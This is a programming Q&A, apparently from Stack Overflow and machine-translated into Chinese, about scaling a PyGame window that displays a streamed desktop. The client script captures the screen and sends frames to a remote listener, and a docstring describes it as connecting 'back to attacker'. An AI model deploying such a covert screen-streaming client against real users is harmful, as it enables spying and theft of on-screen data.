【问题标题】:Resize PyGame screen调整 PyGame 屏幕大小
【发布时间】:2021-01-11 16:33:47
【问题描述】:

问题

基本上我有这个代码来流式传输桌面屏幕。问题是,当我尝试调整服务器屏幕的大小(服务器将接收图像)时,图像保持剪切/扭曲

我尝试调整窗口大小:

应该是什么(模拟):

问题

正确调整图像流窗口的大小需要进行哪些更改?

提前致谢。

服务器

import socket
from zlib import decompress

import pygame

#1900 1000

WIDTH = 600
HEIGHT = 600

def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not   data:
            return data
        buf += data
    return buf


def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
    pygame.init()

    screen = pygame.display.set_mode((WIDTH, HEIGHT))

    clock = pygame.time.Clock()
    watching = True

    #x = sock.recv(1024).decode()
    #print(x)

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #.frombuffer(msg,(320,240),"RGBX"))


            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()  

客户

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

import sys
from PyQt5 import QtWidgets

app = QtWidgets.QApplication(sys.argv)

screen = app.primaryScreen()
size = screen.size()

WIDTH = size.width()
HEIGHT = size.height()

print(WIDTH, HEIGHT)
WIDTH = 600

HEIGHT = 600

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)

            print(img)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 0)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            try:
                    conn.send(bytes([size_len]))

            except:
                    break
                 
            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.15.2', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))

    
    try:
        #sock.send(str('123213213').encode('utf-8'))
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

【问题讨论】:

  • 似乎您必须同时更改客户端和服务器上的WIDTHHEIGHT,因为您的代码当前是编写的。但是,由于客户端代码是截取屏幕截图的,而服务器代码只是显示它接收到的任何内容,因此您可以将尺寸与来自客户端的屏幕截图一起发送。服务器只需将其窗口尺寸设置为从客户端发送的尺寸。你有没有尝试过这样的事情?
  • 是的,我在两个脚本中都更改了 WIDTH 和 HEIGHT,但是,图像保持剪切(如第一个示例):/
  • 顺便说一句,客户端和服务器需要保持相同的WIDTH和HEIGHT,否则服务器会返回这个错误:img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), ' RGB') ValueError: 字符串长度不等于格式和分辨率大小
  • 哦,所以问题是您使用屏幕截图裁剪屏幕的一部分,而不是截取整个屏幕并将其大小调整为WIDTHHEIGHT?如果你用scr.grab(screen.size().width(), screen.size().height()代替scr.grab(rect),发送完整图像,然后在服务器端调整它的大小怎么办?您也可以在发送之前在客户端调整它的大小。但目前你只是截取屏幕的rect 部分而不是整个屏幕,所以如果是这样的话,你的问题对我来说非常有意义。
  • 那么,如果我尝试调整图像大小时出现 python 返回错误,我该如何在服务器端调整图像大小?我认为要在服务器端调整图像大小,我需要更改服务器的 WIDTH HEIGHT 变量?

标签: python pygame


【解决方案1】:

您最近的 pastebin 中的代码几乎是正确的,但就像我说的,您必须分别存储服务器和客户端分辨率:

import socket
from zlib import decompress
import pygame
 
def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf
 
 
def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
 
    client_resolution = (conn.recv(50).decode())
    client_resolution = str(client_resolution).split(',')
    CLIENT_WIDTH = int(client_resolution[0])
    CLIENT_HEIGHT = int(client_resolution[1])
    
    #store the server's resolution separately
    SERVER_WIDTH = 1000
    SERVER_HEIGHT = 600
 
    pygame.init()
 
    screen = pygame.display.set_mode((SERVER_WIDTH, SERVER_HEIGHT))
 
    clock = pygame.time.Clock()
    watching = True
 
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break
 
            # Retreive the size of the pixels length, the pixels length and pixels
 
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))
 
            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (CLIENT_WIDTH, CLIENT_HEIGHT), 'RGB')            
            
            #resize the client image to match the server's screen dimensions
            scaled_img = pygame.transform.scale(img, (SERVER_WIDTH, SERVER_HEIGHT))

            # Display the picture
            screen.blit(scaled_img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()
 
 
if __name__ == "__main__":
    main()  

请注意,您可以随时更改服务器的分辨率,完全独立于客户端的分辨率。这意味着您甚至可以根据需要调整窗口的大小。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-06-20
    • 2018-11-12
    • 2013-11-28
    • 2011-08-12
    • 2017-01-19
    相关资源
    最近更新 更多